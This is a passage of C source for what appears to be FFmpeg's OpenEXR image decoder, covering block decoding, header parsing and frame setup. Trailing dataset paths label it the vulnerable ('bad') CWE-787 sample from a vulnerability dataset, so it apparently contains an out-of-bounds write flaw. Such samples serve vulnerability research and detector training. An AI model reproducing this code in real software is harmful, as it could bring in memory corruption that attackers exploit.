memcpy(&td->uncompressed_data[index_out], sr, td->xsize * 4); sr += td->xsize * 4; } target_channel_offset += 4; stay_to_uncompress -= td->ysize * td->xsize * 4; } } return 0; } static int decode_block(AVCodecContext *avctx, void *tdata, int jobnr, int threadnr) { EXRContext *s = avctx->priv_data; AVFrame *const p = s->picture; EXRThreadData *td = &s->thread_data[threadnr]; const uint8_t *channel_buffer[4] = { 0 }; const uint8_t *buf = s->buf; uint64_t line_offset, uncompressed_size; uint8_t *ptr; uint32_t data_size; int line, col = 0; uint64_t tile_x, tile_y, tile_level_x, tile_level_y; const uint8_t *src; int step = s->desc->flags & AV_PIX_FMT_FLAG_FLOAT ? 4 : 2 * s->desc->nb_components; int bxmin = 0, axmax = 0, window_xoffset = 0; int window_xmin, window_xmax, window_ymin, window_ymax; int data_xoffset, data_yoffset, data_window_offset, xsize, ysize; int i, x, buf_size = s->buf_size; int c, rgb_channel_count; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); int ret; line_offset = AV_RL64(s->gb.buffer + jobnr * 8); if (s->is_tile) { if (buf_size < 20 || line_offset > buf_size - 20) return AVERROR_INVALIDDATA; src = buf + line_offset + 20; tile_x = AV_RL32(src - 20); tile_y = AV_RL32(src - 16); tile_level_x = AV_RL32(src - 12); tile_level_y = AV_RL32(src - 8); data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 20) return AVERROR_INVALIDDATA; if (tile_level_x || tile_level_y) { /* tile level, is not the full res level */ avpriv_report_missing_feature(s->avctx, "Subres tile before full res tile"); return AVERROR_PATCHWELCOME; } line = s->ymin + s->tile_attr.ySize * tile_y; col = s->tile_attr.xSize * tile_x; if (line < s->ymin || line > s->ymax || s->xmin + col < s->xmin || s->xmin + col > s->xmax) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->tile_attr.ySize, s->ydelta - tile_y * s->tile_attr.ySize); td->xsize = FFMIN(s->tile_attr.xSize, s->xdelta - tile_x * s->tile_attr.xSize); if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ } else { if (buf_size < 8 || line_offset > buf_size - 8) return AVERROR_INVALIDDATA; src = buf + line_offset + 8; line = AV_RL32(src - 8); if (line < s->ymin || line > s->ymax) return AVERROR_INVALIDDATA; data_size = AV_RL32(src - 4); if (data_size <= 0 || data_size > buf_size - line_offset - 8) return AVERROR_INVALIDDATA; td->ysize = FFMIN(s->scan_lines_per_block, s->ymax - line + 1); /* s->ydelta - line ?? */ td->xsize = s->xdelta; if (td->xsize * (uint64_t)s->current_channel_offset > INT_MAX) return AVERROR_INVALIDDATA; td->channel_line_size = td->xsize * s->current_channel_offset;/* uncompress size of one line */ uncompressed_size = td->channel_line_size * (uint64_t)td->ysize;/* uncompress size of the block */ if ((s->compression == EXR_RAW && (data_size != uncompressed_size || line_offset > buf_size - uncompressed_size)) || (s->compression != EXR_RAW && (data_size > uncompressed_size || line_offset > buf_size - data_size))) { return AVERROR_INVALIDDATA; } } window_xmin = FFMIN(avctx->width, FFMAX(0, s->xmin + col)); window_xmax = FFMIN(avctx->width, FFMAX(0, s->xmin + col + td->xsize)); window_ymin = FFMIN(avctx->height, FFMAX(0, line )); window_ymax = FFMIN(avctx->height, FFMAX(0, line + td->ysize)); xsize = window_xmax - window_xmin; ysize = window_ymax - window_ymin; /* tile or scanline not visible skip decoding */ if (xsize <= 0 || ysize <= 0) return 0; /* is the first tile or is a scanline */ if(col == 0) { window_xmin = 0; /* pixels to add at the left of the display window */ window_xoffset = FFMAX(0, s->xmin); /* bytes to add at the left of the display window */ bxmin = window_xoffset * step; } /* is the last tile or is a scanline */ if(col + td->xsize == s->xdelta) { window_xmax = avctx->width; /* bytes to add at the right of the display window */ axmax = FFMAX(0, (avctx->width - (s->xmax + 1))) * step; } if (data_size < uncompressed_size || s->is_tile) { /* td->tmp is use for tile reorganization */ av_fast_padded_malloc(&td->tmp, &td->tmp_size, uncompressed_size); if (!td->tmp) return AVERROR(ENOMEM); } if (data_size < uncompressed_size) { av_fast_padded_malloc(&td->uncompressed_data, &td->uncompressed_size, uncompressed_size + 64);/* Force 64 padding for AVX2 reorder_pixels dst */ if (!td->uncompressed_data) return AVERROR(ENOMEM); ret = AVERROR_INVALIDDATA; switch (s->compression) { case EXR_ZIP1: case EXR_ZIP16: ret = zip_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PIZ: ret = piz_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_PXR24: ret = pxr24_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_RLE: ret = rle_uncompress(s, src, data_size, uncompressed_size, td); break; case EXR_B44: case EXR_B44A: ret = b44_uncompress(s, src, data_size, uncompressed_size, td); break; } if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "decode_block() failed.\n"); return ret; } src = td->uncompressed_data; } /* offsets to crop data outside display window */ data_xoffset = FFABS(FFMIN(0, s->xmin + col)) * (s->pixel_type == EXR_HALF ? 2 : 4); data_yoffset = FFABS(FFMIN(0, line)); data_window_offset = (data_yoffset * td->channel_line_size) + data_xoffset; if (!s->is_luma) { channel_buffer[0] = src + (td->xsize * s->channel_offsets[0]) + data_window_offset; channel_buffer[1] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; channel_buffer[2] = src + (td->xsize * s->channel_offsets[2]) + data_window_offset; rgb_channel_count = 3; } else { /* put y data in the first channel_buffer */ channel_buffer[0] = src + (td->xsize * s->channel_offsets[1]) + data_window_offset; rgb_channel_count = 1; } if (s->channel_offsets[3] >= 0) channel_buffer[3] = src + (td->xsize * s->channel_offsets[3]) + data_window_offset; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ int channel_count = s->channel_offsets[3] >= 0 ? 4 : rgb_channel_count; if (s->is_luma) { channel_buffer[1] = channel_buffer[0]; channel_buffer[2] = channel_buffer[0]; } for (c = 0; c < channel_count; c++) { int plane = s->desc->comp[c].plane; ptr = p->data[plane] + window_ymin * p->linesize[plane] + (window_xmin * 4); for (i = 0; i < ysize; i++, ptr += p->linesize[plane]) { const uint8_t *src; union av_intfloat32 *ptr_x; src = channel_buffer[c]; ptr_x = (union av_intfloat32 *)ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset; if (s->pixel_type == EXR_FLOAT) { // 32-bit union av_intfloat32 t; if (trc_func && c < 3) { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); t.f = trc_func(t.f); *ptr_x++ = t; } } else { for (x = 0; x < xsize; x++) { t.i = bytestream_get_le32(&src); if (t.f > 0.0f && c < 3) /* avoid negative values */ t.f = powf(t.f, one_gamma); *ptr_x++ = t; } } } else if (s->pixel_type == EXR_HALF) { // 16-bit if (c < 3 || !trc_func) { for (x = 0; x < xsize; x++) { *ptr_x++ = s->gamma_table[bytestream_get_le16(&src)]; } } else { for (x = 0; x < xsize; x++) { *ptr_x++ = exr_half2float(bytestream_get_le16(&src));; } } } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[c] += td->channel_line_size; } } } else { av_assert1(s->pixel_type == EXR_UINT); ptr = p->data[0] + window_ymin * p->linesize[0] + (window_xmin * s->desc->nb_components * 2); for (i = 0; i < ysize; i++, ptr += p->linesize[0]) { const uint8_t * a; const uint8_t *rgb[3]; uint16_t *ptr_x; for (c = 0; c < rgb_channel_count; c++) { rgb[c] = channel_buffer[c]; } if (channel_buffer[3]) a = channel_buffer[3]; ptr_x = (uint16_t *) ptr; // Zero out the start if xmin is not 0 memset(ptr_x, 0, bxmin); ptr_x += window_xoffset * s->desc->nb_components; for (x = 0; x < xsize; x++) { for (c = 0; c < rgb_channel_count; c++) { *ptr_x++ = bytestream_get_le32(&rgb[c]) >> 16; } if (channel_buffer[3]) *ptr_x++ = bytestream_get_le32(&a) >> 16; } // Zero out the end if xmax+1 is not w memset(ptr_x, 0, axmax); channel_buffer[0] += td->channel_line_size; channel_buffer[1] += td->channel_line_size; channel_buffer[2] += td->channel_line_size; if (channel_buffer[3]) channel_buffer[3] += td->channel_line_size; } } return 0; } /** * Check if the variable name corresponds to its data type. * * @param s the EXRContext * @param value_name name of the variable to check * @param value_type type of the variable to check * @param minimum_length minimum length of the variable data * * @return bytes to read containing variable data * -1 if variable is not found * 0 if buffer ended prematurely */ static int check_header_variable(EXRContext *s, const char *value_name, const char *value_type, unsigned int minimum_length) { int var_size = -1; if (bytestream2_get_bytes_left(&s->gb) >= minimum_length && !strcmp(s->gb.buffer, value_name)) { // found value_name, jump to value_type (null terminated strings) s->gb.buffer += strlen(value_name) + 1; if (!strcmp(s->gb.buffer, value_type)) { s->gb.buffer += strlen(value_type) + 1; var_size = bytestream2_get_le32(&s->gb); // don't go read past boundaries if (var_size > bytestream2_get_bytes_left(&s->gb)) var_size = 0; } else { // value_type not found, reset the buffer s->gb.buffer -= strlen(value_name) + 1; av_log(s->avctx, AV_LOG_WARNING, "Unknown data type %s for header variable %s.\n", value_type, value_name); } } return var_size; } static int decode_header(EXRContext *s, AVFrame *frame) { AVDictionary *metadata = NULL; int magic_number, version, i, flags, sar = 0; int layer_match = 0; int ret; int dup_channels = 0; s->current_channel_offset = 0; s->xmin = ~0; s->xmax = ~0; s->ymin = ~0; s->ymax = ~0; s->xdelta = ~0; s->ydelta = ~0; s->channel_offsets[0] = -1; s->channel_offsets[1] = -1; s->channel_offsets[2] = -1; s->channel_offsets[3] = -1; s->pixel_type = EXR_UNKNOWN; s->compression = EXR_UNKN; s->nb_channels = 0; s->w = 0; s->h = 0; s->tile_attr.xSize = -1; s->tile_attr.ySize = -1; s->is_tile = 0; s->is_luma = 0; if (bytestream2_get_bytes_left(&s->gb) < 10) { av_log(s->avctx, AV_LOG_ERROR, "Header too short to parse.\n"); return AVERROR_INVALIDDATA; } magic_number = bytestream2_get_le32(&s->gb); if (magic_number != 20000630) { /* As per documentation of OpenEXR, it is supposed to be * int 20000630 little-endian */ av_log(s->avctx, AV_LOG_ERROR, "Wrong magic number %d.\n", magic_number); return AVERROR_INVALIDDATA; } version = bytestream2_get_byte(&s->gb); if (version != 2) { avpriv_report_missing_feature(s->avctx, "Version %d", version); return AVERROR_PATCHWELCOME; } flags = bytestream2_get_le24(&s->gb); if (flags & 0x02) s->is_tile = 1; if (flags & 0x08) { avpriv_report_missing_feature(s->avctx, "deep data"); return AVERROR_PATCHWELCOME; } if (flags & 0x10) { avpriv_report_missing_feature(s->avctx, "multipart"); return AVERROR_PATCHWELCOME; } // Parse the header while (bytestream2_get_bytes_left(&s->gb) > 0 && *s->gb.buffer) { int var_size; if ((var_size = check_header_variable(s, "channels", "chlist", 38)) >= 0) { GetByteContext ch_gb; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_init(&ch_gb, s->gb.buffer, var_size); while (bytestream2_get_bytes_left(&ch_gb) >= 19) { EXRChannel *channel; enum ExrPixelType current_pixel_type; int channel_index = -1; int xsub, ysub; if (strcmp(s->layer, "") != 0) { if (strncmp(ch_gb.buffer, s->layer, strlen(s->layer)) == 0) { layer_match = 1; av_log(s->avctx, AV_LOG_INFO, "Channel match layer : %s.\n", ch_gb.buffer); ch_gb.buffer += strlen(s->layer); if (*ch_gb.buffer == '.') ch_gb.buffer++; /* skip dot if not given */ } else { layer_match = 0; av_log(s->avctx, AV_LOG_INFO, "Channel doesn't match layer : %s.\n", ch_gb.buffer); } } else { layer_match = 1; } if (layer_match) { /* only search channel if the layer match is valid */ if (!av_strcasecmp(ch_gb.buffer, "R") || !av_strcasecmp(ch_gb.buffer, "X") || !av_strcasecmp(ch_gb.buffer, "U")) { channel_index = 0; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "G") || !av_strcasecmp(ch_gb.buffer, "V")) { channel_index = 1; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "Y")) { channel_index = 1; s->is_luma = 1; } else if (!av_strcasecmp(ch_gb.buffer, "B") || !av_strcasecmp(ch_gb.buffer, "Z") || !av_strcasecmp(ch_gb.buffer, "W")) { channel_index = 2; s->is_luma = 0; } else if (!av_strcasecmp(ch_gb.buffer, "A")) { channel_index = 3; } else { av_log(s->avctx, AV_LOG_WARNING, "Unsupported channel %.256s.\n", ch_gb.buffer); } } /* skip until you get a 0 */ while (bytestream2_get_bytes_left(&ch_gb) > 0 && bytestream2_get_byte(&ch_gb)) continue; if (bytestream2_get_bytes_left(&ch_gb) < 4) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header.\n"); ret = AVERROR_INVALIDDATA; goto fail; } current_pixel_type = bytestream2_get_le32(&ch_gb); if (current_pixel_type >= EXR_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Pixel type %d", current_pixel_type); ret = AVERROR_PATCHWELCOME; goto fail; } bytestream2_skip(&ch_gb, 4); xsub = bytestream2_get_le32(&ch_gb); ysub = bytestream2_get_le32(&ch_gb); if (xsub != 1 || ysub != 1) { avpriv_report_missing_feature(s->avctx, "Subsampling %dx%d", xsub, ysub); ret = AVERROR_PATCHWELCOME; goto fail; } if (channel_index >= 0 && s->channel_offsets[channel_index] == -1) { /* channel has not been previously assigned */ if (s->pixel_type != EXR_UNKNOWN && s->pixel_type != current_pixel_type) { av_log(s->avctx, AV_LOG_ERROR, "RGB channels not of the same depth.\n"); ret = AVERROR_INVALIDDATA; goto fail; } s->pixel_type = current_pixel_type; s->channel_offsets[channel_index] = s->current_channel_offset; } else if (channel_index >= 0) { av_log(s->avctx, AV_LOG_WARNING, "Multiple channels with index %d.\n", channel_index); if (++dup_channels > 10) { ret = AVERROR_INVALIDDATA; goto fail; } } s->channels = av_realloc(s->channels, ++s->nb_channels * sizeof(EXRChannel)); if (!s->channels) { ret = AVERROR(ENOMEM); goto fail; } channel = &s->channels[s->nb_channels - 1]; channel->pixel_type = current_pixel_type; channel->xsub = xsub; channel->ysub = ysub; if (current_pixel_type == EXR_HALF) { s->current_channel_offset += 2; } else {/* Float or UINT32 */ s->current_channel_offset += 4; } } /* Check if all channels are set with an offset or if the channels * are causing an overflow */ if (!s->is_luma) {/* if we expected to have at least 3 channels */ if (FFMIN3(s->channel_offsets[0], s->channel_offsets[1], s->channel_offsets[2]) < 0) { if (s->channel_offsets[0] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing red channel.\n"); if (s->channel_offsets[1] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing green channel.\n"); if (s->channel_offsets[2] < 0) av_log(s->avctx, AV_LOG_ERROR, "Missing blue channel.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } // skip one last byte and update main gb s->gb.buffer = ch_gb.buffer + 1; continue; } else if ((var_size = check_header_variable(s, "dataWindow", "box2i", 31)) >= 0) { int xmin, ymin, xmax, ymax; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } xmin = bytestream2_get_le32(&s->gb); ymin = bytestream2_get_le32(&s->gb); xmax = bytestream2_get_le32(&s->gb); ymax = bytestream2_get_le32(&s->gb); if (xmin > xmax || ymin > ymax || (unsigned)xmax - xmin >= INT_MAX || (unsigned)ymax - ymin >= INT_MAX) { ret = AVERROR_INVALIDDATA; goto fail; } s->xmin = xmin; s->xmax = xmax; s->ymin = ymin; s->ymax = ymax; s->xdelta = (s->xmax - s->xmin) + 1; s->ydelta = (s->ymax - s->ymin) + 1; continue; } else if ((var_size = check_header_variable(s, "displayWindow", "box2i", 34)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } bytestream2_skip(&s->gb, 8); s->w = bytestream2_get_le32(&s->gb) + 1; s->h = bytestream2_get_le32(&s->gb) + 1; continue; } else if ((var_size = check_header_variable(s, "lineOrder", "lineOrder", 25)) >= 0) { int line_order; if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } line_order = bytestream2_get_byte(&s->gb); av_log(s->avctx, AV_LOG_DEBUG, "line order: %d.\n", line_order); if (line_order > 2) { av_log(s->avctx, AV_LOG_ERROR, "Unknown line order.\n"); ret = AVERROR_INVALIDDATA; goto fail; } continue; } else if ((var_size = check_header_variable(s, "pixelAspectRatio", "float", 31)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } sar = bytestream2_get_le32(&s->gb); continue; } else if ((var_size = check_header_variable(s, "compression", "compression", 29)) >= 0) { if (!var_size) { ret = AVERROR_INVALIDDATA; goto fail; } if (s->compression == EXR_UNKN) s->compression = bytestream2_get_byte(&s->gb); else av_log(s->avctx, AV_LOG_WARNING, "Found more than one compression attribute.\n"); continue; } else if ((var_size = check_header_variable(s, "tiles", "tiledesc", 22)) >= 0) { char tileLevel; if (!s->is_tile) av_log(s->avctx, AV_LOG_WARNING, "Found tile attribute and scanline flags. Exr will be interpreted as scanline.\n"); s->tile_attr.xSize = bytestream2_get_le32(&s->gb); s->tile_attr.ySize = bytestream2_get_le32(&s->gb); tileLevel = bytestream2_get_byte(&s->gb); s->tile_attr.level_mode = tileLevel & 0x0f; s->tile_attr.level_round = (tileLevel >> 4) & 0x0f; if (s->tile_attr.level_mode >= EXR_TILE_LEVEL_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level mode %d", s->tile_attr.level_mode); ret = AVERROR_PATCHWELCOME; goto fail; } if (s->tile_attr.level_round >= EXR_TILE_ROUND_UNKNOWN) { avpriv_report_missing_feature(s->avctx, "Tile level round %d", s->tile_attr.level_round); ret = AVERROR_PATCHWELCOME; goto fail; } continue; } else if ((var_size = check_header_variable(s, "writer", "string", 1)) >= 0) { uint8_t key[256] = { 0 }; bytestream2_get_buffer(&s->gb, key, FFMIN(sizeof(key) - 1, var_size)); av_dict_set(&metadata, "writer", key, 0); continue; } // Check if there are enough bytes for a header if (bytestream2_get_bytes_left(&s->gb) <= 9) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete header\n"); ret = AVERROR_INVALIDDATA; goto fail; } // Process unknown variables for (i = 0; i < 2; i++) // value_name and value_type while (bytestream2_get_byte(&s->gb) != 0); // Skip variable length bytestream2_skip(&s->gb, bytestream2_get_le32(&s->gb)); } ff_set_sar(s->avctx, av_d2q(av_int2float(sar), 255)); if (s->compression == EXR_UNKN) { av_log(s->avctx, AV_LOG_ERROR, "Missing compression attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } if (s->is_tile) { if (s->tile_attr.xSize < 1 || s->tile_attr.ySize < 1) { av_log(s->avctx, AV_LOG_ERROR, "Invalid tile attribute.\n"); ret = AVERROR_INVALIDDATA; goto fail; } } if (bytestream2_get_bytes_left(&s->gb) <= 0) { av_log(s->avctx, AV_LOG_ERROR, "Incomplete frame.\n"); ret = AVERROR_INVALIDDATA; goto fail; } frame->metadata = metadata; // aaand we are done bytestream2_skip(&s->gb, 1); return 0; fail: av_dict_free(&metadata); return ret; } static int decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { EXRContext *s = avctx->priv_data; ThreadFrame frame = { .f = data }; AVFrame *picture = data; uint8_t *ptr; int i, y, ret, ymax; int planes; int out_line_size; int nb_blocks; /* nb scanline or nb tile */ uint64_t start_offset_table; uint64_t start_next_scanline; PutByteContext offset_table_writer; bytestream2_init(&s->gb, avpkt->data, avpkt->size); if ((ret = decode_header(s, picture)) < 0) return ret; switch (s->pixel_type) { case EXR_FLOAT: case EXR_HALF: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } else { /* todo: change this when a floating point pixel format with luma with alpha is implemented */ avctx->pix_fmt = AV_PIX_FMT_GBRAPF32; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_GBRPF32; } else { avctx->pix_fmt = AV_PIX_FMT_GRAYF32; } } break; case EXR_UINT: if (s->channel_offsets[3] >= 0) { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGBA64; } else { avctx->pix_fmt = AV_PIX_FMT_YA16; } } else { if (!s->is_luma) { avctx->pix_fmt = AV_PIX_FMT_RGB48; } else { avctx->pix_fmt = AV_PIX_FMT_GRAY16; } } break; default: av_log(avctx, AV_LOG_ERROR, "Missing channel list.\n"); return AVERROR_INVALIDDATA; } if (s->apply_trc_type != AVCOL_TRC_UNSPECIFIED) avctx->color_trc = s->apply_trc_type; switch (s->compression) { case EXR_RAW: case EXR_RLE: case EXR_ZIP1: s->scan_lines_per_block = 1; break; case EXR_PXR24: case EXR_ZIP16: s->scan_lines_per_block = 16; break; case EXR_PIZ: case EXR_B44: case EXR_B44A: s->scan_lines_per_block = 32; break; default: avpriv_report_missing_feature(avctx, "Compression %d", s->compression); return AVERROR_PATCHWELCOME; } /* Verify the xmin, xmax, ymin and ymax before setting the actual image size. * It's possible for the data window can larger or outside the display window */ if (s->xmin > s->xmax || s->ymin > s->ymax || s->ydelta == 0xFFFFFFFF || s->xdelta == 0xFFFFFFFF) { av_log(avctx, AV_LOG_ERROR, "Wrong or missing size information.\n"); return AVERROR_INVALIDDATA; } if ((ret = ff_set_dimensions(avctx, s->w, s->h)) < 0) return ret; s->desc = av_pix_fmt_desc_get(avctx->pix_fmt); if (!s->desc) return AVERROR_INVALIDDATA; if (s->desc->flags & AV_PIX_FMT_FLAG_FLOAT) { planes = s->desc->nb_components; out_line_size = avctx->width * 4; } else { planes = 1; out_line_size = avctx->width * 2 * s->desc->nb_components; } if (s->is_tile) { nb_blocks = ((s->xdelta + s->tile_attr.xSize - 1) / s->tile_attr.xSize) * ((s->ydelta + s->tile_attr.ySize - 1) / s->tile_attr.ySize); } else { /* scanline */ nb_blocks = (s->ydelta + s->scan_lines_per_block - 1) / s->scan_lines_per_block; } if ((ret = ff_thread_get_buffer(avctx, &frame, 0)) < 0) return ret; if (bytestream2_get_bytes_left(&s->gb)/8 < nb_blocks) return AVERROR_INVALIDDATA; // check offset table and recreate it if need if (!s->is_tile && bytestream2_peek_le64(&s->gb) == 0) { av_log(s->avctx, AV_LOG_DEBUG, "recreating invalid scanline offset table\n"); start_offset_table = bytestream2_tell(&s->gb); start_next_scanline = start_offset_table + nb_blocks * 8; bytestream2_init_writer(&offset_table_writer, &avpkt->data[start_offset_table], nb_blocks * 8); for (y = 0; y < nb_blocks; y++) { /* write offset of prev scanline in offset table */ bytestream2_put_le64(&offset_table_writer, start_next_scanline); /* get len of next scanline */ bytestream2_seek(&s->gb, start_next_scanline + 4, SEEK_SET);/* skip line number */ start_next_scanline += (bytestream2_get_le32(&s->gb) + 8); } bytestream2_seek(&s->gb, start_offset_table, SEEK_SET); } // save pointer we are going to use in decode_block s->buf = avpkt->data; s->buf_size = avpkt->size; // Zero out the start if ymin is not 0 for (i = 0; i < planes; i++) { ptr = picture->data[i]; for (y = 0; y < s->ymin; y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } s->picture = picture; avctx->execute2(avctx, decode_block, s->thread_data, NULL, nb_blocks); ymax = FFMAX(0, s->ymax + 1); // Zero out the end if ymax+1 is not h for (i = 0; i < planes; i++) { ptr = picture->data[i] + (ymax * picture->linesize[i]); for (y = ymax; y < avctx->height; y++) { memset(ptr, 0, out_line_size); ptr += picture->linesize[i]; } } picture->pict_type = AV_PICTURE_TYPE_I; *got_frame = 1; return avpkt->size; } static av_cold int decode_init(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; uint32_t i; union av_intfloat32 t; float one_gamma = 1.0f / s->gamma; avpriv_trc_function trc_func = NULL; s->avctx = avctx; ff_exrdsp_init(&s->dsp); #if HAVE_BIGENDIAN ff_bswapdsp_init(&s->bbdsp); #endif trc_func = avpriv_get_trc_function_from_trc(s->apply_trc_type); if (trc_func) { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); t.f = trc_func(t.f); s->gamma_table[i] = t; } } else { if (one_gamma > 0.9999f && one_gamma < 1.0001f) { for (i = 0; i < 65536; ++i) { s->gamma_table[i] = exr_half2float(i); } } else { for (i = 0; i < 65536; ++i) { t = exr_half2float(i); /* If negative value we reuse half value */ if (t.f <= 0.0f) { s->gamma_table[i] = t; } else { t.f = powf(t.f, one_gamma); s->gamma_table[i] = t; } } } } // allocate thread data, used for non EXR_RAW compression types s->thread_data = av_mallocz_array(avctx->thread_count, sizeof(EXRThreadData)); if (!s->thread_data) return AVERROR_INVALIDDATA; return 0; } static av_cold int decode_end(AVCodecContext *avctx) { EXRContext *s = avctx->priv_data; int i; for (i = 0; i < avctx->thread_count; i++) { EXRThreadData *td = &s->thread_data[i]; av_freep(&td->uncompressed_data); av_freep(&td->tmp); av_freep(&td->bitmap); av_freep(&td->lut); } av_freep(&s->thread_data); av_freep(&s->channels); return 0; } #define OFFSET(x) offsetof(EXRContext, x) #define VD AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_DECODING_PARAM static const AVOption options[] = { { "layer", "Set the decoding layer", OFFSET(layer), AV_OPT_TYPE_STRING, { .str = "" }, 0, 0, VD }, { "gamma", "Set the float gamma value when decoding", OFFSET(gamma), AV_OPT_TYPE_FLOAT, { .dbl = 1.0f }, 0.001, FLT_MAX, VD }, // XXX: Note the abuse of the enum using AVCOL_TRC_UNSPECIFIED to subsume the existing gamma option { "apply_trc", "color transfer characteristics to apply to EXR linear input", OFFSET(apply_trc_type), AV_OPT_TYPE_INT, {.i64 = AVCOL_TRC_UNSPECIFIED }, 1, AVCOL_TRC_NB-1, VD, "apply_trc_type"}, { "bt709", "BT.709", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT709 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma", "gamma", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_UNSPECIFIED }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma22", "BT.470 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA22 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "gamma28", "BT.470 BG", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_GAMMA28 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte170m", "SMPTE 170 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE170M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte240m", "SMPTE 240 M", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTE240M }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "linear", "Linear", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LINEAR }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log", "Log", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "log_sqrt", "Log square root", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_LOG_SQRT }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_4", "IEC 61966-2-4", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_4 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt1361", "BT.1361", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT1361_ECG }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "iec61966_2_1", "IEC 61966-2-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_IEC61966_2_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_10bit", "BT.2020 - 10 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_10 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "bt2020_12bit", "BT.2020 - 12 bit", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_BT2020_12 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte2084", "SMPTE ST 2084", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST2084 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { "smpte428_1", "SMPTE ST 428-1", 0, AV_OPT_TYPE_CONST, {.i64 = AVCOL_TRC_SMPTEST428_1 }, INT_MIN, INT_MAX, VD, "apply_trc_type"}, { NULL }, }; static const AVClass exr_class = { .class_name = "EXR", .item_name = av_default_item_name, .option = options, .version = LIBAVUTIL_VERSION_INT, }; AVCodec ff_exr_decoder = { .name = "exr", .long_name = NULL_IF_CONFIG_SMALL("OpenEXR image"), .type = AVMEDIA_TYPE_VIDEO, .id = AV_CODEC_ID_EXR, .priv_data_size = sizeof(EXRContext), .init = decode_init, .close = decode_end, .decode = decode_frame, .capabilities = AV_CODEC_CAP_DR1 | AV_CODEC_CAP_FRAME_THREADS | AV_CODEC_CAP_SLICE_THREADS, .priv_class = &exr_class, };
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4485_0
crossvul-cpp_data_good_96_2
